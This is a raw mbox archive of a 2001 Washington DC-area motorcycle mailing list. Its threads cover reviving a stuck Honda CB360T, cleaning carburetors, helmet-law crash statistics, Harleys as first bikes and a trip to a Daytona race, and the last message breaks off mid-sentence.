dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1DMLVn26126 for ; Tue, 13 Feb 2001 17:21:38 -0500 (EST) Received: (qmail 5465 invoked by uid 1001); 13 Feb 2001 22:13:50 -0000 Message-ID: <20010213221350.5464.qmail@theglobe.com> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 4.104 (Entity 4.117) From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Tue, 13 Feb 2001 17:13:49 -0500 Subject: Re: 76 Honda 360T > Mind you I'm just guessing. I wish my Connie had a kickstarter. :) I'd pay good money to see you kick a 1000cc v-4 over!! -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Tue Feb 13 17:29:24 2001 Return-Path: Received: from web903.mail.yahoo.com (web903.mail.yahoo.com [128.11.23.78]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1DMK8n26124 for ; Tue, 13 Feb 2001 17:28:47 -0500 (EST) Received: (qmail 20265 invoked by uid 60001); 13 Feb 2001 22:19:21 -0000 Message-ID: <20010213221921.20264.qmail@web903.mail.yahoo.com> Received: from [204.227.255.9] by web903.mail.yahoo.com; Tue, 13 Feb 2001 14:19:21 PST Date: Tue, 13 Feb 2001 14:19:21 -0800 (PST) From: Justin Stefanon Subject: Re: Helmet Laws Article - stats can be twisted To: roach@XXXXXX, dcbike In-Reply-To: <0102131709550B.00979@www.mostlyharmless.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii > ::shrug:: Much like a 600cc sportbike, a 1450cc > 650lbs cruiser never screamed > "first bike" to me. Me either. I seriously thought the thing was going to kill me before I rode it, but it was my mom's bike and the only one I was allowed to ride until I got my own first bike, a kz550. Definitely a more reasonable choice. Hell, I could have thrown the kz on the back of the harley and taken it for a ride. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 13 17:37:25 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DMQ3n26142 for ; Tue, 13 Feb 2001 17:26:06 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f1DM9t011669; Tue, 13 Feb 2001 17:09:56 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: Justin Stefanon , dcbike Subject: Re: Helmet Laws Article - stats can be twisted Date: Tue, 13 Feb 2001 17:09:55 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain References: <20010213215012.11863.qmail@web902.mail.yahoo.com> In-Reply-To: <20010213215012.11863.qmail@web902.mail.yahoo.com> MIME-Version: 1.0 Message-Id: <0102131709550B.00979@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Tue, 13 Feb 2001, Justin Stefanon wrote: > I learned how to ride on a Harley, and found the bike > to be ridiculusly easy to ride and most forgiving in > all circumstances, but for picking it up if you were > enough of a nit to drop it. That may attribute to the > hypothesized lack of proper riding technique among > Harley riders. I agree... but everything is relative. I think my Harley is rediculously easy to ride, compared to a sportbike. It's low to the ground, heavy, and stable. It is much harder to ride than a Rebel 250, however. Or a Virago 535 .. or anything that doesn't weigh 650lbs with 80+ lbs of torque (aside from the aforementioned sportbike). I love my Harley... but I would have ever thought to have one as a first bike. The weight can be cumbersome at slow speeds if you're not Attila The Hun, and it's actually got a bit of a kick if you grab a handfull (I've spun up the rear wheel on accident a couple of times). Also, except for the models released in the last 10 years or so... they handled like crap. The new ones are really nice though (I was really surprised with the handling on mine). ::shrug:: Much like a 600cc sportbike, a 1450cc 650lbs cruiser never screamed "first bike" to me. But hell, what do I know... I wear a helmet and full leathers too :) - Roach From dc-cycles-request Tue Feb 13 17:36:47 2001 Return-Path: Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DMX8n26306 for ; Tue, 13 Feb 2001 17:36:06 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id <0G8P00201UJXX0@XXXXXX> for dc-cycles@XXXXXX; Tue, 13 Feb 2001 22:02:22 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G8P0019XUJXZ2@XXXXXX>; Tue, 13 Feb 2001 22:02:21 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8P00K01UJ0SF@XXXXXX>; Tue, 13 Feb 2001 22:02:20 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8P00K0QUILM8@XXXXXX>; Tue, 13 Feb 2001 22:01:33 +0000 (GMT) Date: Tue, 13 Feb 2001 17:01:30 -0500 From: Dale Horstman Subject: Re: Helmet Laws Article - stats can be twisted To: roach@XXXXXX Cc: dc-cycles list Message-id: <3A89AEBA.4C26DEBC@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <002001c095f9$3ec706c0$bb82fea9@pawilson> <3A89A93E.50AF80AD@XXXXXX> <0102131657160A.00979@XXXXXX> Brian Roach wrote: > > > http://www.activebike.com/index/features/losers/losers.htm > > (If you haven't ever visited 'The Interactive Motorcycle', it's a great site). Yep, that is a pretty interesting site, been reading it for a while now. -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Tue Feb 13 18:25:23 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DNLZn27072 for ; Tue, 13 Feb 2001 18:24:10 -0500 (EST) Received: from 66-44-47-104.s358.tnt4.lnhdc.md.dialup.rcn.com ([66.44.47.104] helo=pawilson) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14Soig-00022V-00 for dc-cycles@XXXXXX; Tue, 13 Feb 2001 18:18:50 -0500 Message-ID: <006101c09613$5a991220$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: <002001c095f9$3ec706c0$bb82fea9@pawilson> <3A89A93E.50AF80AD@home.com> <0102131657160A.00979@www.mostlyharmless.net> Subject: Re: Helmet Laws Article - stats can be twisted Date: Tue, 13 Feb 2001 18:17:04 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 ----- Original Message ----- From: Brian Roach > > http://www.activebike.com/index/features/losers/losers.htm > > (If you haven't ever visited 'The Interactive Motorcycle', it's a great site). > > Basically, the author of the article sums up the statistics with... > > "After carefully reviewing each of Hurt's 55 separate findings of fact, I was > struck by a single, overarching conclusion: nearly all of the 3,600 riders he > studied were losers." > > I tend to agree. > > - Roach A couple of other quotes from the "loser" editorial.... "While we certainly wouldn't begin to contend that every rider of a modified motorcycle [Hurt called them "choppers" or "cafe racers", ed.] is at greater risk of having an accident-or that they are a loser-we, like Hurt, recognize that the motivation for owning and riding a motorcycle is an extremely significant factor in predicting whether the rider will be involved in a crash." "And what the evidence and stats clearly seem to show is that-as we also stated in our Survival Quiz-those who are in it for style, to rebel, to race, or to make a fashion or social statement are the riders most likely to crack up. Look at the level of alcohol use, and relative disdain for eye and head protection. Coupled with the penchant for modified machines, there is little doubt that many of these riders were in it for vainglorious reasons." Paul in DC From dc-cycles-request Tue Feb 13 19:05:10 2001 Return-Path: Received: from beta.nova.org (beta.nova.org [209.31.144.41]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1E04Gn27755 for ; Tue, 13 Feb 2001 19:04:18 -0500 (EST) Received: from members.fcac.org (members.fcac.org [209.31.144.35]) by beta.nova.org (8.10.1/8.10.1) with ESMTP id f1DMmWN17249 for ; Tue, 13 Feb 2001 17:48:32 -0500 (EST) Date: Tue, 13 Feb 2001 17:48:31 -0500 (EST) From: Kirk Roy X-Sender: kirk@XXXXXX To: DC-Cycles Mailing List Subject: Re: 76 Honda 360T In-Reply-To: <20010213221350.5464.qmail@theglobe.com> Message-ID: Organization: Northern Virginia Internet Access Cooperative MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 13 Feb 2001, Matthew Patton wrote: > I'd pay good money to see you kick a 1000cc v-4 over!! That doesn't sound like a big deal to me. The guy down the street kicks his big ole harley over no problem. It wouldn't compare in difficulty to kicking an XR650R with a broken compression release. When the thing kicks back the search crew starts looking for you in the next county. I'm sure there are other worse kicking bikes out there... Now, on to strip the carbs from the ole 360... :) Kirk 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) DCOffroad - the Wash, DC area offroad e-mail list: http://www.egroups.com/community/dcoffroad From dc-cycles-request Tue Feb 13 20:11:43 2001 Return-Path: Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1E185n28787 for ; Tue, 13 Feb 2001 20:08:06 -0500 (EST) Received: from 66-44-42-217.s217.tnt2.lnhdc.md.dialup.rcn.com ([66.44.42.217] helo=pawilson) by smtp02.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14SnzL-0001fh-00 for dc-cycles@XXXXXX; Tue, 13 Feb 2001 17:32:00 -0500 Message-ID: <003401c0960c$cf737c40$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: <002001c095f9$3ec706c0$bb82fea9@pawilson> Subject: Re: Helmet Laws Article - stats can be twisted Date: Tue, 13 Feb 2001 17:26:07 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 I need to read more carefully before opening my trap. The original citation said Harleys accounted for 50% of the _increase_ in deadly crashes, not that Harley riders accounted for 50% of fatalities. An important distinction. ----- Original Message ----- From: Paul Wilson > I don't want to start a flame war, but I seriously doubt Harleys even come > close to being 50% of registered motorcycles and probably don't come within > a country mile of accounting for 50% of motorcycle mileage. > > It doesn't surprise me in the slightest that Harleys account for 50% of > fatalities. > > Paul in DC > 91 CB750 From dc-cycles-request Tue Feb 13 20:06:43 2001 Return-Path: Received: from beta.nova.org (beta.nova.org [209.31.144.41]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1E15Rn28784 for ; Tue, 13 Feb 2001 20:05:38 -0500 (EST) Received: from members.fcac.org (members.fcac.org [209.31.144.35]) by beta.nova.org (8.10.1/8.10.1) with ESMTP id f1DMF7N15944; Tue, 13 Feb 2001 17:15:07 -0500 (EST) Date: Tue, 13 Feb 2001 17:15:06 -0500 (EST) From: Kirk Roy X-Sender: kirk@XXXXXX To: Stephen Harris cc: DC-Cycles Mailing List Subject: Re: 76 Honda 360T In-Reply-To: <3.0.32.20010213165901.0106e06c@his.com> Message-ID: Organization: Northern Virginia Internet Access Cooperative MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 13 Feb 2001, Stephen Harris wrote: > Sounds like you have a bike that has not run in a while. Take > the left side crank cover off and put a wrench on the crank & try to > turn the engine over by hand. If the crank shaft cannot turn despite > lots of torque, the motor is siezed. Go buy another $87 CB360T. If > the cranks resists, then start turning after letting go, it will > likely be fine. That did it! I can hang on to my $87! :) Thanks, Kirk 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) DCOffroad - the Wash, DC area offroad e-mail list: http://www.egroups.com/community/dcoffroad From dc-cycles-request Wed Feb 14 06:50:22 2001 Return-Path: Received: from mail.rdc1.md.home.com (imail@XXXXXX [24.2.2.66]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EBoLn09031 for ; Wed, 14 Feb 2001 06:50:21 -0500 (EST) Received: from cj117103a ([24.6.106.133]) by mail.rdc1.md.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010214055551.WNGD26737.mail.rdc1.md.home.com@cj117103a> for ; Tue, 13 Feb 2001 21:55:51 -0800 Message-ID: <004501c09641$08a8e160$856a0618@alex1.va.home.com> Reply-To: "James Reazor" From: "James Reazor" To: "DC-Cycles Mailing List" References: <3.0.32.20010213165901.0106e06c@his.com> Subject: Re: 76 Honda 360T Date: Tue, 13 Feb 2001 23:46:02 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Hey Kirk, Where can I get one of those $87 CB360T's. I'd like to get a super cheap bike to leave at my in-laws for those long... um, long visits over the summer. -James ----- Original Message ----- From: "Stephen Harris" To: "Kirk Roy" ; "DC-Cycles Mailing List" Sent: Tuesday, February 13, 2001 7:59 PM Subject: Re: 76 Honda 360T > Sounds like you have a bike that has not run in a while. Take the left > side crank cover off and put a wrench on the crank & try to turn the engine > over by hand. If the crank shaft cannot turn despite lots of torque, the > motor is siezed. Go buy another $87 CB360T. If the cranks resists, then > start turning after letting go, it will likely be fine. From dc-cycles-request Wed Feb 14 06:50:02 2001 Return-Path: Received: from vasfw03.fdic.gov (vasfw03.fdic.gov [192.147.69.46]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EBo1n09028 for ; Wed, 14 Feb 2001 06:50:01 -0500 (EST) Received: by vasfw03.fdic.gov; id GAA23727; Wed, 14 Feb 2001 06:49:46 -0500 (EST) Received: from unknown(151.174.4.145) by vasfw03.fdic.gov via smap (V5.5) id xma023629; Wed, 14 Feb 01 06:48:44 -0500 Received: by s00exc101.fdic.gov with Internet Mail Service (5.5.2651.58) id <1ZM80Q3W>; Wed, 14 Feb 2001 06:48:44 -0500 Message-ID: <42A213AA7052D21187EB080009DC7807049A67FA@s01exc102.fdic.gov> From: "Myles, Gregory S." To: "'Boiade@XXXXXX'" , roach@XXXXXX, dc-cycles@XXXXXX Subject: RE: dc-cycles politics Date: Wed, 14 Feb 2001 06:48:42 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" An URL to the source (if available) would be most appreciated. -----Original Message----- From: Boiade@XXXXXX [mailto:Boiade@XXXXXX] Sent: Monday, February 12, 2001 6:49 PM To: roach@XXXXXX; dc-cycles@XXXXXX Subject: Re: dc-cycles politics There is a UN index for industrialized countries which measures the median wealth of a nation's population in terms of income, life span, income disparity, poverty rates, medical care, and other human development criteria like leisure time, job security, pensions, etc. It's called the HP-2 index. The top 10 are: 1. Sweden 2. Netherlands 3. Germany 4. Norway 5. Italy 6. Finland 7. France 8. Japan 9. Canada 10. Denmark The US is no. 17 On the other hand, just dividing the GNP by the population puts the US at no.3 and Sweden (which is no. 1 in HP-2) becomes no. 6. Switzerland is not included as it only has observer status in the UN, but it would certainly be the wealthiest in both indices I think. Please don't shoot the messenger. Ciao From dc-cycles-request Wed Feb 14 07:13:49 2001 Return-Path: Received: from web9708.mail.yahoo.com (web9708.mail.yahoo.com [216.136.128.166]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1ECDmn09487 for ; Wed, 14 Feb 2001 07:13:48 -0500 (EST) Message-ID: <20010214010701.32621.qmail@web9708.mail.yahoo.com> Received: from [66.44.68.92] by web9708.mail.yahoo.com; Tue, 13 Feb 2001 17:07:01 PST Date: Tue, 13 Feb 2001 17:07:01 -0800 (PST) From: Scratch Subject: RE: 76 Honda 360T To: dc-cycles@XXXXXX, kirk@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Ja, Your clutch is stuck. My Triumph is like that every morning, but not as bad. If you can get the plates out of the basket, wash them off with some kerosene (in a well ventilated area, away from sparks or open flame...), give them a light lubing with fresh oil, and reassemble. Good luck, Rich __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Wed Feb 14 08:58:02 2001 Return-Path: Received: from mail.his.com (root@XXXXXX [209.67.207.13]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EDw0n11663 for ; Wed, 14 Feb 2001 08:58:00 -0500 (EST) Received: from harris (max2h-172.his.com [216.32.85.172]) by mail.his.com (8.9.3/8.9.3) with SMTP id IAA16753 for ; Wed, 14 Feb 2001 08:57:55 -0500 (EST) Message-Id: <3.0.32.20010214085904.010724f0@his.com> X-Sender: harris@XXXXXX X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 14 Feb 2001 08:59:08 -0800 To: DC-Cycles Mailing List From: Stephen Harris Subject: carb cleaning; was 76 Honda 360T Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 05:48 PM 2/13/01 -0500, Kirk Roy wrote: >Now, on to strip the carbs from the ole 360... :) > Get a can or two of carb cleaner and brake cleaner. You'll need a few basic hand tools to take apart the carbs. Work on one carb at a time. This way you'll have the other one as a reference too double check where parts go. Take the cap off the vacume slide and remove the slide. Look for any small O-rings between the cap and carb body, and note there position for re-assembly. The vacume slide & spring can be removed and set aside. Be careful not to get carb cleaner on the rubber diaphram of the vacume slide. If you do it will expand a little and it will take great peace of mind to re-assemble it. Now flip the carb over and pull the float bowl. Again look for any thing that falls out and note its position for re-assembly. Again avoid getting carb cleaner on the rubber o rings as it will make things diffcult to put together. Take the jets and float level out and set the seat aside. Now find the fuel screw. It may be covered with a plug, but this can be remove by either drilling it or using a wood screw to pull it out. Be carfull with either. Once you have the screw exposed you will need to count the number of turns out from bottom that it is set at. Take a screw driver and start tightening the screw untill it bottoms, counting the number of turns it takes. BE VERY GENTLE with the screw. It take very little torque to bend the valve at the end of the screw. When the screw feels like its bottomed, back it out a turn or too, then bring if down again to bottom to make sure you have it bottomed. Write down the number of turns from bottom that the screw was set at. Take the screw out, and remove the spring, washer and O-ring under it. Again be carfull not to get carb cleaner on the O-ring. Now that you have removed all the rubber from the carbs you are ready to clean them. That thin tube that came with the can of carb cleaner needs to be necked down first. Take a lighter or a match and carefully heat the tube about a inch from its end (detached from the spray can) so that it starts to get soft. Gently pull the end of the tube and you'll note the plastic streches, making the diameter of the tube a lot smaller. Cut the end off so that the tube now terminates in a taper of a much smaller diameter. This smaller end can get into the idle circuit passageways where the normal tube cannot. Spray carb cleaner into the slow speed jet, air jet and fuel screw chamber. Let the carb sit for a few minutes and repeat. Block the slow speed jet & fuel screw chamber with your finger and spay into the air jet while holding the throttle plate partially open. There should be a nice copisteaic flow out the little holes at the bottom of the carb throat. If not use the necked down end of the spray tube to spray backwards thru the idle circut. Compressed air is helpful here. Finish by spraying the contact cleaner thru the passeways to remove the carb cleaner. Let the carb dry before re-assemble so that the rubber items arn't damaged. Be carfull to set the fuel screw to its orginal number of turns. Actually I usally add a quater or half turn to the stock setting, unless a jet kit has been installed. Be cafefully not to pinch the vacume diaphrams on re-assembly. Need a motorcycle related phone number or address? Try http://www.his.com/harris/shops.htm From dc-cycles-request Wed Feb 14 09:26:13 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EEQBn12266 for ; Wed, 14 Feb 2001 09:26:11 -0500 (EST) Received: from patriot.net (pool180-221.patriot.net [209.249.180.221]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1EEQ2O02948; Wed, 14 Feb 2001 09:26:02 -0500 Message-ID: <3A8A942E.C5E3C458@patriot.net> Date: Wed, 14 Feb 2001 09:20:30 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: Stephen Harris CC: DC-Cycles Mailing List Subject: Re: carb cleaning; was 76 Honda 360T References: <3.0.32.20010214085904.010724f0@his.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Word of additional advice - WEAR SAFETY GOGGLES! Nothing like a blast of carb cleaner twisting thru those mysterious passages and blasting you in the eye to ruin a fine day. Bill Stephen Harris wrote: > At 05:48 PM 2/13/01 -0500, Kirk Roy wrote: > >Now, on to strip the carbs from the ole 360... :) > > > > Get a can or two of carb cleaner and brake cleaner. You'll need a few > basic hand tools to take apart the carbs. Work on one carb at a time. > This way you'll have the other one as a reference too double check where > parts go. Take the cap off the vacume slide and remove the slide. Look > for any small O-rings between the cap and carb body, and note there > position for re-assembly. The vacume slide & spring can be removed and set > aside. Be careful not to get carb cleaner on the rubber diaphram of the > vacume slide. If you do it will expand a little and it will take great > peace of mind to re-assemble it. Now flip the carb over and pull the float > bowl. Again look for any thing that falls out and note its position for > re-assembly. Again avoid getting carb cleaner on the rubber o rings as it > will make things diffcult to put together. Take the jets and float level > out and set the seat aside. Now find the fuel screw. It may be covered > with a plug, but this can be remove by either drilling it or using a wood > screw to pull it out. Be carfull with either. Once you have the screw > exposed you will need to count the number of turns out from bottom that it > is set at. Take a screw driver and start tightening the screw untill it > bottoms, counting the number of turns it takes. BE VERY GENTLE with the > screw. It take very little torque to bend the valve at the end of the > screw. When the screw feels like its bottomed, back it out a turn or too, > then bring if down again to bottom to make sure you have it bottomed. > Write down the number of turns from bottom that the screw was set at. > Take the screw out, and remove the spring, washer and O-ring under it. > Again be carfull not to get carb cleaner on the O-ring. Now that you have > removed all the rubber from the carbs you are ready to clean them. That > thin tube that came with the can of carb cleaner needs to be necked down > first. Take a lighter or a match and carefully heat the tube about a inch > from its end (detached from the spray can) so that it starts to get soft. > Gently pull the end of the tube and you'll note the plastic streches, > making the diameter of the tube a lot smaller. Cut the end off so that the > tube now terminates in a taper of a much smaller diameter. This smaller > end can get into the idle circuit passageways where the normal tube cannot. > Spray carb cleaner into the slow speed jet, air jet and fuel screw > chamber. Let the carb sit for a few minutes and repeat. Block the slow > speed jet & fuel screw chamber with your finger and spay into the air jet > while holding the throttle plate partially open. There should be a nice > copisteaic flow out the little holes at the bottom of the carb throat. If > not use the necked down end of the spray tube to spray backwards thru the > idle circut. Compressed air is helpful here. Finish by spraying the > contact cleaner thru the passeways to remove the carb cleaner. Let the > carb dry before re-assemble so that the rubber items arn't damaged. Be > carfull to set the fuel screw to its orginal number of turns. Actually I > usally add a quater or half turn to the stock setting, unless a jet kit has > been installed. Be cafefully not to pinch the vacume diaphrams on re-assembly. > > Need a motorcycle related phone number or address? > Try http://www.his.com/harris/shops.htm From dc-cycles-request Wed Feb 14 09:55:39 2001 Return-Path: Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EEtbn12831 for ; Wed, 14 Feb 2001 09:55:38 -0500 (EST) Received: from imr1.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46]) id QQkcit00826; Wed, 14 Feb 2001 14:55:36 GMT Received: from usashexims02.corp.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: corpsmtpin.corp.us.uu.net [153.39.84.14]) id QQkcit02786; Wed, 14 Feb 2001 14:55:16 GMT Received: by corpsmtpin.corp.us.uu.net with Internet Mail Service (5.5.2650.21) id <1SBXKPC9>; Wed, 14 Feb 2001 09:51:53 -0500 Message-ID: From: "Wood, Sally" To: "'harris@XXXXXX'" Cc: "'dc-cycles@XXXXXX'" Subject: Daytona Date: Wed, 14 Feb 2001 09:52:08 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Stephen, Daytona is double points because it's the first Mid-Atlantic region race of the season (last year the first race was at Roebling, I think). First and last races are always double points (but you knew that). :) Good luck in your race! Anyone looking for a place to stay in Daytona during Bike Week, may want to try The Suburban Lodge. It's a new hotel (or maybe motel) across from the race track. It's not too well known so there may be still be vacancy. Sally '98 GS500E X-Sender: harris@XXXXXX Date: Tue, 13 Feb 2001 10:01:36 -0800 To: dc-cycles@XXXXXX From: Stephen Harris Subject: sleep deprivation experiment I JUST notice that CCS put Daytona on as a double points Mid-Atlantic region event. Not clear what it is about Florida that is considered "Mid Atlantic" but I digress. I've got a call in to them to confirm this, BUT.... I'm doing the CCS Mid-Atlantic regional points thing this year (for supertwins of course), and am looking for someone who wants to go down to Daytona for the CCS weekend 3/3/01. I would be leaving the DC metro area just before rush hour on Friday 3/2/01. Driving all night to daytona, in shifts, taking turns to sleep in the car while is does not stop its southern progress. The supertwins race is Saturday, 3/3/01. Right after the race I would pack up & drive back to DC, not in as much of a rush (meaning stopping to sleep is OK) to make work Monday AM 3/5/01. I cover all costs. You have to be a good driver, able to operate on sleep altered environment. If you are interested please respond off list. Stephen Harris Need a motorcycle related phone number or address? Try http://www.his.com/harris/shops.htm From dc-cycles-request Wed Feb 14 10:26:04 2001 Return-Path: Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EFQ2n13382 for ; Wed, 14 Feb 2001 10:26:02 -0500 (EST) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G8R00GM86JOB8@XXXXXX> for dc-cycles@XXXXXX; Wed, 14 Feb 2001 15:19:00 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0G8R004016JJ9Z@XXXXXX>; Wed, 14 Feb 2001 15:18:59 +0000 (GMT) Received: from home.com ([166.36.152.226]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with ESMTP id <0G8R003376J4U0@XXXXXX>; Wed, 14 Feb 2001 15:18:40 +0000 (GMT) Date: Wed, 14 Feb 2001 10:18:35 -0500 From: Dale Horstman Subject: Re: 76 Honda 360T To: Matthew Patton Cc: dc-cycles@XXXXXX Message-id: <3A8AA1CB.A5060348@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010213221350.5464.qmail@theglobe.com> Matthew Patton wrote: > > > Mind you I'm just guessing. I wish my Connie had a kickstarter. :) > > I'd pay good money to see you kick a 1000cc v-4 over!! Well, I had a kicker on my old KZ1000 LTD. 1015cc inline 4. It was great. You could nurse along a marginal battery for an extra year or two. Usually fired off on the first or second kick. The Connie is only 997 cc, it would be a snap... :) Hmm, wonder if I can retrofit... -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Wed Feb 14 11:58:35 2001 Return-Path: Received: from web513.mail.yahoo.com (web513.mail.yahoo.com [216.115.104.228]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1EGwYn14926 for ; Wed, 14 Feb 2001 11:58:34 -0500 (EST) Message-ID: <20010214165831.24850.qmail@web513.mail.yahoo.com> Received: from [208.219.157.35] by web513.mail.yahoo.com; Wed, 14 Feb 2001 08:58:31 PST Date: Wed, 14 Feb 2001 08:58:31 -0800 (PST) From: Tom Gimer Subject: Re: carb cleaning; was 76 Honda 360T To: Stephen Harris , DC-Cycles Mailing List In-Reply-To: <3.0.32.20010214085904.010724f0@his.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Stephen Harris wrote: > At 05:48 PM 2/13/01 -0500, Kirk Roy wrote: > >Now, on to strip the carbs from the ole 360... :) > > > > Get a can or two of carb cleaner and brake cleaner. > You'll need a few basic hand tools to take apart the > carbs. while this was an excellent how-to and intro on carb cleaning, i can't help but feel the need to point out that kirk didn't probably didn't need it. you're don't still have your carb-cleaning cherry, do you kirk? i'd be quite surprised that someone who fully breaks down and reassembles his cycles in his living room is still a virgin. -- tg __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Wed Feb 14 11:59:02 2001 Return-Path: Received: from exchange.dchealth.com ([208.230.8.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1EGx1n14928 for ; Wed, 14 Feb 2001 11:59:02 -0500 (EST) Received: by EXCHANGE with Internet Mail Service (5.5.2650.21) id ; Wed, 14 Feb 2001 11:51:56 -0500 Message-ID: <45CB5720CC54D311A2A70004ACE5255CA2F123@EXCHANGE> From: "Copeland, James" To: "'dc-cycles@XXXXXX'" Subject: This sounds suspiciously familiar... Date: Wed, 14 Feb 2001 11:51:55 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" This sounds suspiciously familiar to the Maryland case (proposed law). I wonder if something sneaky is going on?? A Senator in Pennsylvania has proposed a bill to make it 